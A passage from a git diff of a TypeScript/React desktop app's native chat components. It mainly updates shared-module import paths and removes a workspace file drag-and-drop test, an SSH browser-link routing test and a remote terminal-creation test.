-})) -vi.mock('../../composer/pickers/NativeChatAutocompleteMenus', () => ({ - NativeChatMentionMenu: () => null, - NativeChatPickerMenu: () => null -})) -vi.mock('../chips/NativeChatImageAttachmentPreview', () => ({ - NativeChatImageAttachmentPreview: ({ - attachment - }: { - attachment: { connectionId?: string; path: string } - }) => ( - - {attachment.path} - - ) -})) - -class FileDragDataTransfer { - // Seed a distinct browser default so assertions prove both copy and refusal verdicts were written. - dropEffect = 'link' - effectAllowed = 'copyMove' - files: File[] = [] - private readonly data = new Map() - - get types(): string[] { - return [...this.data.keys()] - } - - getData(type: string): string { - return this.data.get(type) ?? '' - } - - setData(type: string, value: string): void { - this.data.set(type, value) - } -} - -type ProbeProps = { - disabled?: boolean - initialDraft?: string - structured?: boolean - /** Overrides only the structured target, leaving the pane's scope key alone. */ - structuredWorkspaceId?: string - workspaceId?: string -} - -let latestInput: NativeChatComposerInput | null = null -const bubbledDrop = vi.fn() - -function ComposerProbe({ - disabled = false, - initialDraft = '', - structured = true, - structuredWorkspaceId, - workspaceId = 'worktree-1' -}: ProbeProps): React.JSX.Element { - const [draft, setDraft] = useState(initialDraft) - const [caret, setCaret] = useState(initialDraft.length) - const [notice, setNotice] = useState(null) - const inputRef = useRef(null) - const imeEnterGesture = useImeEnterGestureOwnership() - const attachments = useNativeChatComposerAttachments({ - attachmentScopeKey: `pane:${workspaceId}`, - allowWithoutTarget: structured, - imageReferences: structured, - caret, - disabled, - isComposing: imeEnterGesture.isComposing, - resolveTarget: () => - structured ? null : { ptyId: 'pty-1', settings: { activeRuntimeEnvironmentId: null } }, - textareaRef: inputRef, - setCaret, - setDraft, - setNotice - }) - const workspaceFileDropHandlers = useNativeChatWorkspaceFileDrop({ - terminalTabId: 'terminal-tab-1', - structuredWorktreeId: structured ? (structuredWorkspaceId ?? workspaceId) : undefined, - disabled, - attachResolvedPaths: attachments.attachResolvedPaths, - setNotice - }) - useLayoutEffect(() => { - latestInput = inputRef.current - }) - - return ( -
- {/* Mount pane drop handlers on a bare wrapper to isolate the attachment route. */} -
- { - setDraft(value) - setCaret(input.selectionStart ?? value.length) - }} - onTextareaSelect={(input) => setCaret(input.selectionStart ?? input.value.length)} - onKeyDown={() => {}} - onImeSettled={(input) => { - setDraft(input.value) - attachments.flushPendingAttachments() - }} - onPaste={() => {}} - pickerListboxId="picker" - onChoosePickerItem={() => {}} - onRetrySkills={() => {}} - onChooseMentionFile={() => {}} - mentionFiles={{ files: [], loading: false, failed: false }} - onRemoveImageAttachment={attachments.removeImageAttachment} - onAttach={() => {}} - onDictationToggle={() => {}} - onDictationHoldStart={() => {}} - onDictationHoldEnd={() => {}} - onSend={() => {}} - sessionOptionsSurface={null} - sessionOptionsSnapshot={[]} - /> -
- {draft} -
- ) -} - -function internalTransfer( - paths: string[], - source: { executionHostId?: ExecutionHostId; workspaceId?: string } = {} -): FileDragDataTransfer { - const transfer = new FileDragDataTransfer() - transfer.setData(WORKSPACE_FILE_PATH_MIME, paths[0] ?? '') - if (paths.length > 1) { - transfer.setData(WORKSPACE_FILE_PATHS_MIME, encodeWorkspaceFilePaths(paths)) - } - writeWorkspaceFileDragSource(transfer, { - executionHostId: source.executionHostId ?? 'local', - workspaceId: source.workspaceId ?? 'worktree-1' - }) - return transfer -} - -function editor(): HTMLElement { - return screen.getByRole('textbox') -} - -function dispatchDragEvent( - type: 'dragover' | 'drop', - target: Element, - dataTransfer: FileDragDataTransfer -): boolean { - const event = new Event(type, { bubbles: true, cancelable: true }) - Object.defineProperty(event, 'dataTransfer', { value: dataTransfer }) - let accepted = true - act(() => { - accepted = target.dispatchEvent(event) - }) - return accepted -} - -describe('native chat workspace file drops', () => { - beforeEach(() => { - testState.executionHostId = 'local' - testState.ownerKind = 'local' - testState.targetIsRemoteRuntime = false - testState.store.tabsByWorktree = { 'worktree-1': [{ id: 'terminal-tab-1' }] } - latestInput = null - bubbledDrop.mockReset() - }) - - afterEach(() => { - cleanup() - }) - - it('consumes a nested editor drop once and inserts top-level paths at the caret', async () => { - render() - // Tiptap mounts node-view portals from a microtask. - await act(async () => { - latestInput!.insertSkill!(0, 4, '$review') - }) - expect(editor().querySelectorAll('[data-native-chat-skill]')).toHaveLength(1) - - const transfer = internalTransfer([ - '/repo/src', - '/repo/src/index.ts', - '/repo/My File.ts', - '/repo/My File.ts' - ]) - transfer.setData('text/plain', 'must not be inserted by ProseMirror') - const accepted = dispatchDragEvent('drop', editor(), transfer) - await act(async () => {}) - - expect(accepted).toBe(false) - expect(screen.getByTestId('draft').textContent).toBe( - '$review @/repo/src @"/repo/My File.ts" tail' - ) - expect(editor().querySelectorAll('[data-native-chat-skill]')).toHaveLength(1) - expect( - [...editor().querySelectorAll('[data-native-chat-file-reference]')].map( - (pill) => pill.textContent - ) - ).toEqual(['src', 'My File.ts']) - expect(editor().textContent).not.toContain('must not be inserted') - expect(bubbledDrop).not.toHaveBeenCalled() - }) - - // Explorer paths from the same runtime host are readable by its agent. - - it('queues an internal reference until composition settles without stealing focus', () => { - render() - const input = editor() - act(() => latestInput!.setSelectionRange(7, 7)) - input.focus() - fireEvent.compositionStart(input) - dispatchDragEvent('drop', input, internalTransfer(['/repo/a.ts'])) - expect(screen.getByTestId('draft').textContent).toBe('preedit') - - fireEvent.compositionEnd(input, { data: '' }) - expect(screen.getByTestId('draft').textContent).toBe('preedit@/repo/a.ts ') - expect(document.activeElement).toBe(input) - }) - - // Recheck current workspace after IME; comparing only captured identities would miss a pane retarget. -}) diff --git a/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-workspace-file-drop.ts b/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-workspace-file-drop.ts index 663bb35066b..efbceefd656 100644 --- a/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-workspace-file-drop.ts +++ b/src/renderer/src/components/native-chat/attachments/intake/use-native-chat-workspace-file-drop.ts @@ -14,7 +14,7 @@ import { } from '../uploads/native-chat-attachment-owner' import { nativeChatWorktreeNotReadyNotice } from './native-chat-attachment-notices' import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/agent-session/tab-identity/structured-chat-tab-index' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { nativeChatAttachmentOwnerUnchanged, nativeChatWorkspaceAttachmentMismatchNotice diff --git a/src/renderer/src/components/native-chat/attachments/uploads/native-chat-attachment-owner.ts b/src/renderer/src/components/native-chat/attachments/uploads/native-chat-attachment-owner.ts index 34c081b7412..0791a0dcd5e 100644 --- a/src/renderer/src/components/native-chat/attachments/uploads/native-chat-attachment-owner.ts +++ b/src/renderer/src/components/native-chat/attachments/uploads/native-chat-attachment-owner.ts @@ -1,5 +1,5 @@ import { chatWorkspaceByTabId as findTerminalTabWorktreeId } from '../../../../lib/agent-session/tab-identity/structured-chat-tab-index' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { getKnownExecutionHostIdForWorktree } from '../../../../lib/workspace/ownership/worktree-runtime-owner' import { runtimeEnvironmentIdForWorkspaceOwner } from '../../../../lib/workspace/ownership/resolve-owner' import { getConnectionIdFromState } from '../../../../lib/workspace/ownership/connection-owner-resolution' @@ -7,8 +7,8 @@ import { toRuntimeExecutionHostId, getConnectionExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { findKnownWorktreeById } from '../../../../store/slices/worktrees/listing/detected-worktree-meta' import { getRuntimeEnvironmentRevision } from '../../../../runtime/rpc/environment-revisions/runtime-environment-revision' import type { AppState } from '../../../../store/types' diff --git a/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerBranchPicker.tsx b/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerBranchPicker.tsx index 89b5ffcaa43..d6e35f49644 100644 --- a/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerBranchPicker.tsx +++ b/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerBranchPicker.tsx @@ -5,7 +5,7 @@ import { useTranslate } from '@/i18n/use-translate' import { useWorktreeGitOwnerTarget } from '@/components/right-sidebar/source-control/sync/worktree-git-owner-target' import { WorkspaceBranchPicker } from '@/components/right-sidebar/source-control/branches/WorkspaceBranchPicker' import { recordWorktreeBranchSwitchLanded } from '@/components/right-sidebar/source-control/branches/workspace-branch-switch-status' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function NativeChatComposerBranchPicker({ worktreeId, diff --git a/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerWorkspace.fixture.tsx b/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerWorkspace.fixture.tsx index 755fa94f8a3..093623e8822 100644 --- a/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerWorkspace.fixture.tsx +++ b/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerWorkspace.fixture.tsx @@ -1,7 +1,7 @@ import { defineFixture } from '../../../../component-fixtures/component-fixture' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../../shared/worktree/types' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import { NativeChatComposerWorkspace } from './NativeChatComposerWorkspace' import { nativeChatAppearanceStyle } from '../../appearance/native-chat-appearance-style' import { useAppStore } from '@/store' diff --git a/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerWorkspace.tsx b/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerWorkspace.tsx index be0d964e160..cf74402ca70 100644 --- a/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerWorkspace.tsx +++ b/src/renderer/src/components/native-chat/composer/controls/NativeChatComposerWorkspace.tsx @@ -8,7 +8,7 @@ import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip import { useTranslate } from '@/i18n/use-translate' import { usePublishedMachineName } from '@/components/machine-identity/use-published-machine-name' import { getWorktreeGitIdentityDisplay } from '../../../../../../shared/worktree/row-display/git-identity-display' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { createNativeChatComposerWorkspaceSelector, type NativeChatComposerWorkspaceTarget diff --git a/src/renderer/src/components/native-chat/composer/controls/native-chat-composer-workspace.ts b/src/renderer/src/components/native-chat/composer/controls/native-chat-composer-workspace.ts index 39397f81fed..6342123385d 100644 --- a/src/renderer/src/components/native-chat/composer/controls/native-chat-composer-workspace.ts +++ b/src/renderer/src/components/native-chat/composer/controls/native-chat-composer-workspace.ts @@ -18,8 +18,8 @@ import { isUnresolvedOwnerHostId, parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { floatingWorkspaceToWorktree, isFloatingWorkspaceId diff --git a/src/renderer/src/components/native-chat/composer/pickers/native-chat-skill-discovery-context.ts b/src/renderer/src/components/native-chat/composer/pickers/native-chat-skill-discovery-context.ts index 9bf4872f310..9a7ed77a605 100644 --- a/src/renderer/src/components/native-chat/composer/pickers/native-chat-skill-discovery-context.ts +++ b/src/renderer/src/components/native-chat/composer/pickers/native-chat-skill-discovery-context.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' import { runtimeEnvironmentIdForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner' import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context' diff --git a/src/renderer/src/components/native-chat/drafts/native-chat-composer-draft-storage.ts b/src/renderer/src/components/native-chat/drafts/native-chat-composer-draft-storage.ts index 35af4b63dba..c95abcf76da 100644 --- a/src/renderer/src/components/native-chat/drafts/native-chat-composer-draft-storage.ts +++ b/src/renderer/src/components/native-chat/drafts/native-chat-composer-draft-storage.ts @@ -1,7 +1,10 @@ // Use IndexedDB so drafts do not compete with settings for localStorage quota. import type { JSONContent } from '@tiptap/react' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { createIndexedDbNativeChatComposerDraftStorage } from './native-chat-composer-draft-indexeddb' export type NativeChatComposerDraftImage = { diff --git a/src/renderer/src/components/native-chat/drafts/native-chat-launch-draft-continuity.ts b/src/renderer/src/components/native-chat/drafts/native-chat-launch-draft-continuity.ts index 9d2ef4db0c4..91436073497 100644 --- a/src/renderer/src/components/native-chat/drafts/native-chat-launch-draft-continuity.ts +++ b/src/renderer/src/components/native-chat/drafts/native-chat-launch-draft-continuity.ts @@ -1,5 +1,8 @@ import type { SshRepoReadoption } from '../../../../../shared/remote-runtime/ssh/ssh-types' -import { toSshExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + toSshExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import { diff --git a/src/renderer/src/components/native-chat/drafts/native-chat-launch-draft-source.ts b/src/renderer/src/components/native-chat/drafts/native-chat-launch-draft-source.ts index 320220e2b38..c3c76ca5c46 100644 --- a/src/renderer/src/components/native-chat/drafts/native-chat-launch-draft-source.ts +++ b/src/renderer/src/components/native-chat/drafts/native-chat-launch-draft-source.ts @@ -5,7 +5,7 @@ import { parseExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { AgentPickerDraft } from '../../../../../shared/agent-launch/picker/agent-launch-picker' import type { NativeChatComposerDraftOwner } from './native-chat-composer-draft-storage' diff --git a/src/renderer/src/components/native-chat/host-access/use-native-chat-host-outage.ts b/src/renderer/src/components/native-chat/host-access/use-native-chat-host-outage.ts index f1fbd42fe83..214e8b087d5 100644 --- a/src/renderer/src/components/native-chat/host-access/use-native-chat-host-outage.ts +++ b/src/renderer/src/components/native-chat/host-access/use-native-chat-host-outage.ts @@ -1,7 +1,7 @@ import { useCallback, useContext, useMemo, useState, useSyncExternalStore } from 'react' import { useAppStore } from '@/store' import { useNativeChatPaneLifetimeEffect } from '../pane/ownership/native-chat-pane-lifetime' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { runtimeHostContactFromSnapshot } from '../../../../../shared/remote-runtime/host-status/runtime-host-contact' import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/execution-host-display-label' import { runtimeHostConnectionStateForEntry } from '@/runtime/hosts/connections/runtime-host-connection-state' diff --git a/src/renderer/src/components/native-chat/links/actions/native-chat-link-click-behavior.ts b/src/renderer/src/components/native-chat/links/actions/native-chat-link-click-behavior.ts index 89e45c1719d..a98b2b7970e 100644 --- a/src/renderer/src/components/native-chat/links/actions/native-chat-link-click-behavior.ts +++ b/src/renderer/src/components/native-chat/links/actions/native-chat-link-click-behavior.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { terminalLinkClickBehaviorFor, type TerminalLinkClickBehavior diff --git a/src/renderer/src/components/native-chat/links/actions/native-chat-ssh-browser-links.test.ts b/src/renderer/src/components/native-chat/links/actions/native-chat-ssh-browser-links.test.ts index 99ccd232ca6..56c967f70d1 100644 --- a/src/renderer/src/components/native-chat/links/actions/native-chat-ssh-browser-links.test.ts +++ b/src/renderer/src/components/native-chat/links/actions/native-chat-ssh-browser-links.test.ts @@ -8,12 +8,11 @@ import { WORKSPACE, URL_TO_OPEN } from '@/lib/browser/navigation/browser-link-open.test-fixture' -import { canOpenRemoteLinkInWorkspaceBrowser } from '@/lib/browser/workspace/workspace-browser-route-eligibility' -import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing' -import { getDefaultSettings } from '../../../../../../shared/constants' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' + +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { OrcadDeploymentLink } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { resolveNativeChatHttpLinkRouting } from './native-chat-link-target-actions' import { handleNativeChatWebLink } from './native-chat-web-link-actions' @@ -161,32 +160,3 @@ describe.each([ ).toMatchObject({ executionHostId: hostId }) }) }) - -describe('SSH device browser check refuses other owners', () => { - beforeEach(() => setSettings({ browserSshWorkspaceRoutingEnabled: false, openLinksInApp: true })) - - it.each<[string, () => void, HttpLinkSourceOwner]>([ - [ - 'a paired runtime without an SSH deployment', - () => seedOwner('runtime:env-box', 'env-box', null), - { kind: 'runtime', runtimeEnvironmentId: 'env-box' } - ], - [ - 'a WSL runtime', - () => - seedOwner('runtime:env-box', 'env-box', { - kind: 'wsl', - distro: 'Ubuntu', - localPort: 46_768, - remotePort: 6_768 - }), - { kind: 'runtime', runtimeEnvironmentId: 'env-box' } - ] - ])('%s', (_label, seed, owner) => { - seed() - - expect(canOpenRemoteLinkInWorkspaceBrowser(useAppStore.getState(), WORKSPACE, owner)).toBe( - false - ) - }) -}) diff --git a/src/renderer/src/components/native-chat/links/previews/native-chat-github-repo.ts b/src/renderer/src/components/native-chat/links/previews/native-chat-github-repo.ts index 0f169e0e2e0..955522274cf 100644 --- a/src/renderer/src/components/native-chat/links/previews/native-chat-github-repo.ts +++ b/src/renderer/src/components/native-chat/links/previews/native-chat-github-repo.ts @@ -15,7 +15,7 @@ import { resolveOwner } from '@/lib/workspace/ownership/resolve-owner' import { authorityKey } from '../../../../../../shared/execution-host/host-authority' import { githubPreviewRepoAuthorityKey } from './native-chat-github-route-repo' import type { Repo } from '../../../../../../shared/repository/repo-types' -import { isUnresolvedOwnerHostId } from '../../../../../../shared/execution-host' +import { isUnresolvedOwnerHostId } from '../../../../../../shared/execution-host/execution-host' import { githubHostFromIdentityKey, githubRepoIdentityKey, diff --git a/src/renderer/src/components/native-chat/links/previews/native-chat-github-route-repo.ts b/src/renderer/src/components/native-chat/links/previews/native-chat-github-route-repo.ts index bcbdbcb16a2..6d75d9419e2 100644 --- a/src/renderer/src/components/native-chat/links/previews/native-chat-github-route-repo.ts +++ b/src/renderer/src/components/native-chat/links/previews/native-chat-github-route-repo.ts @@ -6,7 +6,7 @@ import { getRepoExecutionHostId, getRepoSshConnectionId, toSshExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { authorityKey, parseHostAuthorityKey, diff --git a/src/renderer/src/components/native-chat/media/images/native-chat-image-runtime-context.ts b/src/renderer/src/components/native-chat/media/images/native-chat-image-runtime-context.ts index 86b30d9bcc7..04d3c483a53 100644 --- a/src/renderer/src/components/native-chat/media/images/native-chat-image-runtime-context.ts +++ b/src/renderer/src/components/native-chat/media/images/native-chat-image-runtime-context.ts @@ -10,7 +10,7 @@ import { captureDirectSshMutationExpectation } from '@/runtime/hosts/ssh/ssh-mut import { parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { isFloatingWorkspaceId } from '../../../../../../shared/workspace/identity/floating-workspace-worktree' import { resolveNativeChatTabDirectory } from '../../pane/routing/native-chat-tab-directory' import { resolveOwner } from '@/lib/workspace/ownership/resolve-owner' diff --git a/src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.ts b/src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.ts index 1397a9c1e5e..b52b0ef5080 100644 --- a/src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.ts +++ b/src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.ts @@ -23,7 +23,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' export type NativeChatForkRequest = { diff --git a/src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-placement.ts b/src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-placement.ts index 80f20a381e0..3656dfdc69e 100644 --- a/src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-placement.ts +++ b/src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-placement.ts @@ -6,7 +6,7 @@ import { afterPendingTab } from '@/runtime/workspace-layout/intents/layout-owner import { requestNativeChatComposerFocus } from '../../composer/focus/native-chat-composer-focus-intent' import { moveTabToGroup, moveTabToNewPaneColumn } from '../../../tab-bar/tab-move-to-pane-column' import type { TabDropCompletion } from '../../../tab-group/tab-group-layout-owner-commands' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' // Moving a late tab would yank a pane the user may already be reading. const SIDE_CHAT_MOVE_MS = 5_000 diff --git a/src/renderer/src/components/native-chat/messages/disclosure/NativeChatCardHideButton.tsx b/src/renderer/src/components/native-chat/messages/disclosure/NativeChatCardHideButton.tsx index 3f0ee837372..1c39114f59e 100644 --- a/src/renderer/src/components/native-chat/messages/disclosure/NativeChatCardHideButton.tsx +++ b/src/renderer/src/components/native-chat/messages/disclosure/NativeChatCardHideButton.tsx @@ -3,7 +3,7 @@ import { Button } from '@/components/ui/button' import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' import { useTranslate } from '@/i18n/use-translate' import { hideNativeChatCardKind } from './native-chat-card-kind-hidden-toast' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' /** Put on a hideable chat card's outer element so its Hide button reveals on card hover. */ export const NATIVE_CHAT_HIDEABLE_CARD_CLASS = 'group/chat-card' diff --git a/src/renderer/src/components/native-chat/messages/disclosure/native-chat-card-kind-hidden-toast.tsx b/src/renderer/src/components/native-chat/messages/disclosure/native-chat-card-kind-hidden-toast.tsx index 427485d7bb3..a7a055fc9d3 100644 --- a/src/renderer/src/components/native-chat/messages/disclosure/native-chat-card-kind-hidden-toast.tsx +++ b/src/renderer/src/components/native-chat/messages/disclosure/native-chat-card-kind-hidden-toast.tsx @@ -1,7 +1,7 @@ import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import { useAppStore } from '@/store' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' const NATIVE_CHAT_CARD_KIND_HIDDEN_TOAST_ID = 'native-chat-card-kind-hidden' // Long enough to reach the link; Settings stays reachable after it goes. diff --git a/src/renderer/src/components/native-chat/pane/actions/use-native-chat-quick-commands-menu.tsx b/src/renderer/src/components/native-chat/pane/actions/use-native-chat-quick-commands-menu.tsx index e7293a7252f..ed206c787da 100644 --- a/src/renderer/src/components/native-chat/pane/actions/use-native-chat-quick-commands-menu.tsx +++ b/src/renderer/src/components/native-chat/pane/actions/use-native-chat-quick-commands-menu.tsx @@ -4,8 +4,8 @@ import { useVisibleTerminalQuickCommandHosts } from '@/hooks/use-visible-termina import { useAppStore } from '@/store/index' import { getIndexedReposById } from '@/store/repos/repository-catalog-index' import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import type { TerminalQuickCommand } from '../../../../../../shared/terminal/quick-commands/terminal-quick-command-types' import { runQuickCommandInNewTab } from '@/lib/terminal/quick-commands/run-quick-command-in-new-tab' import { TerminalQuickCommandsSubmenu } from '../../../terminal-pane/quick-commands/TerminalQuickCommandsSubmenu' diff --git a/src/renderer/src/components/native-chat/pane/routing/native-chat-layout-actions.ts b/src/renderer/src/components/native-chat/pane/routing/native-chat-layout-actions.ts index d70bc3608a7..1d1efa154e3 100644 --- a/src/renderer/src/components/native-chat/pane/routing/native-chat-layout-actions.ts +++ b/src/renderer/src/components/native-chat/pane/routing/native-chat-layout-actions.ts @@ -4,7 +4,7 @@ import type { AppState } from '@/store/types' import { useAppStore } from '@/store' import { requestActiveTerminalPaneSplit } from '@/components/tab-bar/request-active-terminal-pane-split' import { openNewTerminalTabInWorkspace } from '@/store/terminals/tabs/creation/terminal-active-workspace-creation' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import type { NativeChatSplitDirection } from './native-chat-pane-shortcut' export type NativeChatSplitTarget = diff --git a/src/renderer/src/components/native-chat/pane/routing/native-chat-split-flow.test.ts b/src/renderer/src/components/native-chat/pane/routing/native-chat-split-flow.test.ts index 0e5df0fd636..a4adbff0b01 100644 --- a/src/renderer/src/components/native-chat/pane/routing/native-chat-split-flow.test.ts +++ b/src/renderer/src/components/native-chat/pane/routing/native-chat-split-flow.test.ts @@ -6,12 +6,11 @@ import type * as WorktreeRuntimeOwner from '@/lib/workspace/ownership/worktree-r import type * as WorktreeOperationRoute from '@/lib/workspace/ownership/worktree-operation-route' import { createTestStore } from '@/store/testing/app-store-test-fixture' import { createTabsSliceMockApi } from '@/store/slices/tabs/tabs-slice-test-harness' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { folderWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { loadWebRuntimeSessionTabsApplyModulesForTests } from '@/runtime/web-session-tabs-sync/inventory/web-runtime-session-snapshot' let store: ReturnType -let actualCreation: typeof importCreation const { createRemote, runtimeOwners, requestSplit } = vi.hoisted(() => ({ createRemote: vi.fn(), runtimeOwners: new Map(), @@ -52,7 +51,7 @@ import { runNativeChatSplitTarget } from './native-chat-layout-actions' import { dispatchWorkspaceTabCommand } from '@/lib/workspace/tabs/workspace-tab-commands' beforeAll(async () => { - actualCreation = await vi.importActual( + await vi.importActual( '@/runtime/hosted-terminals/creation/web-runtime-terminal-creation' ) await loadWebRuntimeSessionTabsApplyModulesForTests() @@ -122,48 +121,6 @@ it('Close leaves an empty split that is waiting on chosen content', () => { ]) }) -it('settles real host terminal creation after later navigation', async () => { - createRemote.mockImplementation(actualCreation.createWebRuntimeSessionTerminal) - vi.useFakeTimers() - try { - const worktreeId = folderWorkspaceKey('paired-folder') - const { source, target } = sourceChat(worktreeId) - store.getState().setActiveWorktree(worktreeId, 'runtime:paired-host') - runtimeOwners.set(worktreeId, 'paired-host') - const call = vi.fn().mockImplementation(async ({ method }: { method: string }) => { - if (method === 'session.tabs.createTerminal') { - return { id: 'create', ok: true, result: { tab: { id: 'host-tab' } } } - } - throw new Error('snapshot unavailable') - }) - Object.assign(window.api, { runtimeEnvironments: { call } }) - void store.getState().openNewTerminalTabInActiveWorkspace(target.groupId) - const laterWorkspace = folderWorkspaceKey('another-folder') - store.getState().setActiveWorktree(laterWorkspace, 'local') - await vi.advanceTimersByTimeAsync(10_500) - expect(call).toHaveBeenCalledWith( - expect.objectContaining({ - selector: 'paired-host', - method: 'session.tabs.createTerminal', - params: expect.objectContaining({ - worktree: `id:${worktreeId}`, - targetGroupId: source.groupId - }) - }) - ) - expect(store.getState()).toMatchObject({ - activeWorktreeId: worktreeId, - activeWorkspaceKey: worktreeId, - activeWorkspaceExecutionHostId: 'runtime:paired-host' - }) - expect(store.getState().unifiedTabsByWorktree[worktreeId]).toEqual([source]) - expect(store.getState().groupsByWorktree[worktreeId]).toHaveLength(1) - expect(store.getState().tabsByWorktree[worktreeId] ?? []).toEqual([]) - } finally { - vi.useRealTimers() - } -}) - it('keeps floating chat splits local while a remote workspace is selected', async () => { const { target } = sourceChat(FLOATING_TERMINAL_WORKTREE_ID) runtimeOwners.set(FLOATING_TERMINAL_WORKTREE_ID, 'focused-remote') diff --git a/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.test.ts b/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.test.ts index 504e7ca232e..8976cfdba4a 100644 --- a/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.test.ts +++ b/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { resolveNativeChatTabDirectoryResolution, type NativeChatTabDirectoryState diff --git a/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.ts b/src/renderer/src/components/native-chat/pane/routing/native-chat-tab-directory.ts index 